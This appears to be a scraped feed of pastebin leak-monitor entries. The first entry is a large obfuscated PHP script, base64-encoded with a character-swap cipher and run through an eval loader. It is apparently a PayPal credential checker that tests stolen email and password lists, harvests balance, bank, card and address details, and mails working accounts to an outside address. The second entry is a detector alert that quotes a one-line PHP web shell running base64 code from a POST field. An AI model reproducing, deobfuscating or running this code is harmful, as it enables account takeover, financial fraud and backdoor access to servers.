wLmUubycpOw0KCSQ0bmYyICAgICA9IHN0cl9yNXBsMWM1KCc8YnI+JywnLCAnLGY1dGNoX3YxbDM1KCRyNXNwMm5zNSwnNW1waDFzNHMiPicsJzwvc3Axbj4nKSk7DQoJcjV0M3JuIHMzYnN0cigkNG5mMiwwLC1hKTsNCn0NCmYzbmN0NDJuIDRuZjJQaDJuNSgpew0KCWdsMmIxbCAkYzJuZjRnLCRzMmNrOw0KCSRyNXNwMm5zNSA9IGMzcmwoJ2h0dHBzOi8vd3d3LnAxeXAxbC5jMm0vM3MvY2c0LWI0bi93NWJzY3I/Y21kPV9wcjJmNGw1LXBoMm41Jm4xdj0wLmUudScpOw0KCSQ0bmYyICAgICA9IHN0cjRwX3QxZ3MoJzw0bnAzdCB0eXA1PSJoNGRkNW4iICcuZjV0Y2hfdjFsMzUoJHI1c3AybnM1LCduMW01PSJwaDJuNSInLCc8L2wxYjVsPicpKTsNCglyNXQzcm4gJDRuZjI7DQp9DQo0ZiAoJF9QT1NUWydidG4tczNibTR0J10pIHsNCjVjaDIgJzxiciAvPjxiciAvPg0KPHA+PGYybnQgYzJsMnI9Ink1bGwydyIgPkw0c3QgUDF5cDFsIFtMNHY1XSA6PC9mMm50PjwvcD4NCjxkNHYgNGQ9Imw0c3RQMXlwMWwiPjwvZDR2Pg0KPGhyIC8+DQo8cD48ZjJudCBjMmwycj0icjVkIiA+TDRzdCBQMXlwMWwgW0Q0NV06PC9mMm50PjwvcD4NCjxkNHYgNGQ9Imw0c3RQMXlwMWxENDUiPjwvZDR2Pg0KPGhyIC8+DQo8cD48ZjJudCBjMmwycj0id2g0dDUiID5MNHN0IFdyMm5nIEYycm0xdDo8L2YybnQ+PC9wPg0KPGQ0diA0ZD0ibDRzdFdyMm5nRjJybTF0Ij48L2Q0dj4NCjxociAvPg0KJzsNCgl4Zmwzc2goKTsNCgkkNW0xNGxzICA9IDV4cGwyZDUoIlxuIix0cjRtKCRfUE9TVFsnbXAnXSkpOw0KCSQ1QzIzbnQgID0gYzIzbnQoJDVtMTRscyk7DQoJJGYxNGw1ZCAgPSAkbDR2NSA9ICQzbmNoNWNrID0gMXJyMXkoKTsNCgkkY2g1Y2s1ZCA9IDA7DQoJNGYgKCFjMjNudCgkNW0xNGxzKSkgew0KCQljMm50NG4zNTsNCgl9DQoJZDVsNXQ1X2MyMms0NXMoKTsNCgkkczJja0NsNTFyID0gNHNTMmNrQ2w1MXIoKTsNCgk0ZiAoJHMyY2tDbDUxciAhPSA2KSB7DQoJCXAzc2hTMmNrRDQ1KCdbPGYybnQgYzJsMnI9IiNGRjAwMDAiPicuJHMyY2sgLic8L2YybnQ+XScpOw0KCQljMm50NG4zNTsNCgl9DQoJZDRzcGwxeSgnPGYybnQgYzJsMnI9IiMwMEZGMDAiPkwyMWQgPT4gT0sgPT4gQ2g1Y2s0bmcuLi48L2YybnQ+Jyk7DQoJZjJyNTFjaCAoJDVtMTRscyBBUyAkayA9PiRsNG41KSB7DQoJCSQ0bmYyID0gNXhwbDJkNSgnfCcsICRsNG41KTsgDQoJCSQ1bTE0bCA9IHRyNG0oJDRuZjJbMF0pOyANCgkJJHB3ZCA9IHRyNG0oJDRuZjJbNl0pOyANCgkJNGYgKHN0cjRwMnMoJDVtMTRsLCdAJykgPT09IGYxbHM1IHx8c3RybDVuKCRwd2QpIDw4KSB7DQoJCQkzbnM1dCgkNW0xNGxzWyRrXSk7DQoJCQlwM3NoV3IybmdGMnJtMXQoJDVtMTRsIC4nIHwgJy4kcHdkKTsNCgkJCWMybnQ0bjM1Ow0KCQl9DQoJCTRmICgkZjE0bDVkWyRzMmNrXSA+dSkNCgkJYzJudDRuMzU7DQoJCWQ1bDV0NV9jMjJrNDVzKCk7DQoJCTRmIChjM3JsKCdodHRwczovL3d3dy5wMXlwMWwuYzJtLycsJycsdHIzNSx0cjM1KSA9PT0gZjFsczUpIHsNCgkJCXAzc2hTMmNrRDQ1KCdbPGYybnQgYzJsMnI9IiNGRjAwMDAiPicuJHMyY2sgLic8L2YybnQ+XScpOw0KCQkJYzJudDRuMzU7DQoJCX0NCgkJJHYxciA9ICdsMmc0bl9jbWQ9JmwyZzRuX3AxcjFtcz0mbDJnNG5fNW0xNGw9Jy5yMXczcmw1bmMyZDUoJDVtMTRsKSAuJyZsMmc0bl9wMXNzdzJyZD0nLnIxdzNybDVuYzJkNSgkcHdkKSAuJyZ0MXJnNXRfcDFnNT0wJnMzYm00dC54PUwyZytJbiZmMnJtX2NoMXJzNXQ9VVRGLTgmYnIyd3M1cl9uMW01PUY0cjVmMngmYnIyd3M1cl92NXJzNDJuPTY3JmJyMndzNXJfdjVyczQybl9mM2xsPTY3LjAmMnA1cjF0NG5nX3N5c3Q1bT1XNG5kMndzJzsNCgkJJHMgICA9IGMzcmwoJ2h0dHBzOi8vd3d3LnAxeXAxbC5jMm0vY2c0LWI0bi93NWJzY3I/Y21kPV9sMmc0bi1zM2JtNHQmZDRzcDF0Y2g9aTg4aWQ4MDE2b2MwZGI2Zjg1YWVvZWVvZG9mMTU1OGQwYjc1ZTc4MWFpZDg4b2QwZjE3YWM5dTdmNjlvZjhmZCcsJHYxcik7DQoJCTRmICgkcyA9PT0gZjFsczUpIHsNCgkJCXAzc2hTMmNrRDQ1KCdbPGYybnQgYzJsMnI9IiNGRjAwMDAiPicuJHMyY2sgLic8L2YybnQ+XScpOw0KCQkJYzJudDRuMzU7DQoJCX0NCgkJNGYgKHN0cjRwMnMoJHMsJ3M1YzNyNHR5IGNoMWxsNW5nNScpICE9PSBmMWxzNSkgew0KCQkJcDNzaFMyY2tENDUoJ1s8ZjJudCBjMmwycj0iI0ZGMDAwMCI+Jy4kczJjayAuJzwvZjJudD5dJyk7DQoJCQljMm50NG4zNTsNCgkJfQ0KCQkkY2g1Y2s1ZCsrOw0KCQkkNXJyMnIgPSBmNXRjaF92MWwzNSgkcywncy5wcjJwNnU9IicsJyInKTsNCgkJNGYgKCQ1cnIyciA9IGY1dGNoX3YxbDM1KCRzLCdzLnByMnA2dT0iJywnIicpKSB7DQoJCQkzbnM1dCgkNW0xNGxzWyRrXSk7DQoJCQlwM3NoUDF5cDFsRDQ1KCI8YiBzdHlsNT1cImMybDJyOnI1ZFwiPltGM3JrMW5NMWgyXSBENDU8L2I+ID0+IHwgJDVtMTRsIHwgJHB3ZCIpOw0KCQkJYzJudDRuMzU7DQoJCX0NCgkJJGwyZ2c1ZEluID0gYzNybCgiaHR0cHM6Ly93d3cucDF5cDFsLmMybS8zcy9jZzQtYjRuL3c1YnNjcj9jbWQ9XzFjYzIzbnQmbjF2PTAuMCIpOw0KCQk0ZiAoJGwyZ2c1ZEluID09PSBmMWxzNSkgew0KCQkJcDNzaFMyY2tENDUoJ1s8ZjJudCBjMmwycj0iI0ZGMDAwMCI+Jy4kczJjayAuJzwvZjJudD5dJyk7DQoJCQkzbnM1dCgkNW0xNGxzWyRrXSk7DQoJCQkxcnIxeV9wM3NoKCQ1bTE0bHMsJGw0bjUpOw0KCQkJYzJudDRuMzU7DQoJCX0NCgkJNGYgKHN0cjRwMnMoJGwyZ2c1ZEluLCdjbDFzcz0iYjFsMW5jNSI+JykgIT09IGYxbHM1KSB7DQoJCQkkcHAgPSAxcnIxeSgpOw0KCQkJNGYgKCRfUE9TVFsnY2g1Y2tFbTE0bCddKSB7DQoJCQkJJG0xNGwtPnM1dCgnNW0xNGwnLCQ1bTE0bCk7DQoJCQkJJG0xNGwtPnM1dCgncHdkJywkcHdkKTsNCgkJCQkkbTE0bC0+czV0KCdzMmNrJywkczJjayk7DQoJCQkJJHBwWyc1bTE0bCddID0gJG0xNGwtPmNoNWNrKCk7DQoJCQl9DQoJCQkkbDJnZzVkSW4gICAgID0gcHI1Z19yNXBsMWM1KCcvPCEtLWcyMmdsNSgyZmZ8Mm4pOiAxbGwtLT4vczQnLCcnLCRsMmdnNWRJbik7DQoJCQkkbDJnZzVkSW4gICAgID0gcHI1Z19yNXBsMWM1KCcvXG4rL3M0JywnJywkbDJnZzVkSW4pOw0KCQkJJHBwWyd0eXA1J10gICA9IGY1dGNoX3YxbDM1KCRsMmdnNWRJbiwncy5wcjJwNz0iJywnIicpOw0KCQkJJHBwWyd0eXA1J10gICA9ICc8c3AxbiBjbDFzcz0iJy4kcHBbJ3R5cDUnXSAuJyI+Jy4zY2Y0cnN0KCRwcFsndHlwNSddKSAuJzwvc3Axbj4nOw0KCQkJJHBwWydzdDF0M3MnXSA9IGY1dGNoX3YxbDM1KCRsMmdnNWRJbiwncy5wcjJwOD0iJywnIicpOw0KCQkJJHBwWydzdDF0M3MnXSA9ICc8c3AxbiBjbDFzcz0iJy4kcHBbJ3N0MXQzcyddIC4nIj4nLjNjZjRyc3QoJHBwWydzdDF0M3MnXSkgLic8L3NwMW4+JzsNCgkJCTRmIChzdHI0cDJzKCRsMmdnNWRJbiwnWTIzciAxY2MyM250IDFjYzVzcyA0cyBsNG00dDVkJykgIT09IGYxbHM1KSB7DQoJCQkJJHBwWydsNG00dDVkJ10gPSAnPGYybnQgYzJsMnI9InI1ZCI+TDRtNHQ1ZDwvZjJudD4nOw0KCQkJfQ0KCQkJJHBwWydibCddID0gZjV0Y2hfdjFsMzUoJGwyZ2c1ZEluLCc8c3AxbiBjbDFzcz0iYjFsMW5jNSI+JywnPC9zcDFuPicpOw0KCQkJNGYgKCRwcFsnYmwnXSkgew0KCQkJCTRmIChzdHI0cDJzKCRwcFsnYmwnXSwnc3RyMm5nJykgIT09IGYxbHM1KSB7DQoJCQkJCSRwcFsnYmwnXSA9IHRyNG0oZjV0Y2hfdjFsMzUoJHBwWydibCddLCc8c3RyMm5nPicsJzwvc3RyMm5nPicpKTsNCgkJCQl9DQoJCQl9NWxzNSB7DQoJCQkJJHBwWydibCddID0gZjV0Y2hfdjFsMzUoJGwyZ2c1ZEluLCc8c3AxbiBjbDFzcz0iYjFsMW5jNSBuNWcxdDR2NSI+JywnPC9zcDFuPicpOw0KCQkJfQ0KCQkJNGYgKCEkcHBbJ2w0bTR0NWQnXSkgew0KICAgICAgICAgICAgICAgIDRmICgkX1BPU1RbJ3NtMXJ0J10pIHsNCiAgICAgICAgICAgICAgICAgICAgJHBwWydzbTFydCddID0gNG5mMnNtMXJ0KCkgPyA0bmYyc20xcnQoKSA6ICJOMiBTbTFydEMybm41Y3QiOw0KICAgICAgICAgICAgICAgIH0NCgkJCQk0ZiAoJF9QT1NUWydibWx0J10pIHsNCgkJCQkJJGJtbHI1cwkJPSA0bmYyYm1sdCgpOw0KCQkJCQkkYm1scjVzCQk9ICgkYm1scjVzKSA/ICRibWxyNXMgOiAiTjIgQk1MIjsNCiAgICAgICAgICAgICAgICAgICAgJHBwWydibWx0J10gPSAkYm1scjVzOw0KICAgICAgICAgICAgICAgIH0NCgkJCQk0ZiAoJF9QT1NUWydwMXltNW50J10pIHsNCiAgICAgICAgICAgICAgICAgICAgJHBwWydwMXltNW50J10gPSA0bmYycDF5bTVudCgpID8gIlI1YzVudGx5IFAxeTVkIiA6ICJOMiBQMXltNW50IjsNCiAgICAgICAgICAgICAgICB9DQoJCQkJNGYgKCRfUE9TVFsnYjFuayddKSB7DQoJCQkJCSRwcFsnYjFuayddID0gNG5mMkIxbmsoKSA/IkgxdjUgQjFuayI6ICJOMiBCMW5rIjsNCgkJCQl9DQoJCQkJNGYgKCRfUE9TVFsnYzFyZCddKSB7DQoJCQkJCSRjMXJkICAgICAgID0gNG5mMkMxcmQoKTsNCgkJCQkJJGMxcmQgICAgICAgPSAoJGMxcmQpID8kYzFyZCA6ICJOMiBDMXJkIjsNCgkJCQkJJHBwWydjMXJkJ10gPSAkYzFyZDsNCgkJCQl9DQoJCQkJNGYgKCRfUE9TVFsnNG5mMiddKSB7DQoJCQkJCSRwcFsnMWRkcjVzcyddID0gNG5mMigpOw0KCQkJCQkkcHBbJ3BoMm41J10gICA9IDRuZjJQaDJuNSgpOw0KCQkJCX0NCgkJCX0NCgkJCSRwcFsnbDFzdGwyZ2c0biddID0gc3RyNHBfdDFncyhmNXRjaF92MWwzNSgkbDJnZzVkSW4sJzxkNHYgY2wxc3M9InNtMWxsIHM1YzJuZDFyeSI+JywnPC9kNHY+JykpOw0KCQkJJHBwWydsMXN0bDJnZzRuJ10gPSBzdHJfcjVwbDFjNSgnTDFzdCBsMmcgNG4nLCcnLCRwcFsnbDFzdGwyZ2c0biddKTsNCgkJCQ0KCQkJJHh5eiAgICAgICAgICAgICAgPSAiPGIgc3R5bDU9XCJjMmwycjp5NWxsMndcIj5bRzIyZF0gTDR2NTwvYj4gPT4gfCAkNW0xNGwgfCAkcHdkIHwgIi40bXBsMmQ1KCIgfCAiLCRwcCk7DQoJCQkkeHl6eiAgICAgICAgICAgICAgPSAiNG5mb28hISA9PiB8ICQ1bTE0bCB8ICRwd2QgfCAiLjRtcGwyZDUoIiB8ICIsJHBwKTsNCgkJCSRsNHY1W10gICAgICAgICAgID0gJHh5ejsNCgkJCSRtID0gIlxuIEVtMjVsIDogJDVtMTRsIFxuIFAyc3M6ICRwd2QgXG4gJHh5enoiOw0KCQkJM25zNXQoJDVtMTRsc1ska10pOw0KCQkJcDNzaFAxeXAxbCgkeHl6KTsNCgkJCW0xNGwoImQzbXBzQGYycmcxZGc1dHN0MnI1LmMybSIsICJQUCBDZXV5ISEhIE1hbnRhcHNzIiwgIiRtIik7DQoJCX01bHM1IHsNCgkJCSR0NHRsNSA9IGY1dGNoX3YxbDM1KCRzLCd0NHRsNT4nLCc8L3Q0dGw1PicpOw0KCQkJNGYoJHQ0dGw1ID09ICdSNWQ0cjVjdDRuZyAtIFAxeVAxbCcpew0KCQkJCSR0NHRsNSA9ICdFcnIyciBDaDVjayAtIEMybnQxY3QgQWRtNG4nOw0KCQkJfQ0KCQkJcDNzaFAxeXAxbEQ0NSgiPGIgc3R5bDU9XCJjMmwycjpyNWRcIj5bQjFkXSBCMWQgQWNjMjNudDwvYj4gPT4gfCAkNW0xNGwgfCAkcHdkIHwgJHQ0dGw1Iik7DQoJCQkzbnM1dCgkNW0xNGxzWyRrXSk7DQoJCX0NCgkJeGZsM3NoKCk7DQoJCWMybnQ0bjM1Ow0KCX0NCglkNHNwbDF5KCI8YzVudDVyPjxobz5UMnQxbDogJDVDMjNudCAtIENoNWNrNWQ6ICRjaDVjazVkIC0gTDR2NTogIi5jMjNudCgkbDR2NSkgLiI8L2hvPjwvYzVudDVyPiIpOw0KCTRmIChjMjNudCgkNW0xNGxzKSkgew0KCQlkNHNwbDF5KCI8YzVudDVyPjxoYT5VbmNoNWNrOjwvaGE+PC9jNW50NXI+Iik7DQoJCWQ0c3BsMXkoJzxjNW50NXI+PHQ1eHQxcjUxIGNsMXNzPSJ0MjJsIiBjMmxzPSI4MCIgcjJ3cz0iNjAiPicuNG1wbDJkNSgiXG4iLCQ1bTE0bHMpIC4nPC90NXh0MXI1MT48L2M1bnQ1cj4nKTsNCgl9DQp9DQo1Y2gyICc8L2IyZHk+DQo8L2h0bWw+JzsNCj8+=';eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));?> Source: http://pastebin.com/raw.php?i=GQ5abNXH
↧
Potential leak of data: Obfuscated PHP Code
Detected 1 occurrence(s) of ‘\?php.*(eval|urldecode)\(.*\>’: <?php eval(base64_decode($_POST['n5a4a27']));?><?php die('Access denied'); ?> Tzo5OiJBRUZhY3RvcnkiOjE6e3M6MjE6IgBBRUZhY3RvcnkAb2JqZWN0bGlzdCI7YTo1OntzOjE1OiJBRUNvbmZpZ3VyYXRpb24iO086MTU6IkFFQ29uZmlndXJhdGlvbiI6NDp7czozMzoiAEFFQ29uZmlndXJhdGlvbgBkZWZhdWx0TmFtZVNwYWNlIjtzOjY6Imdsb2JhbCI7czo0MjoiAEFFQ29uZmlndXJhdGlvbgBkaXJlY3RvcnlfY2 Source: http://pastebin.com/raw.php?i=3LdGRT7x
↧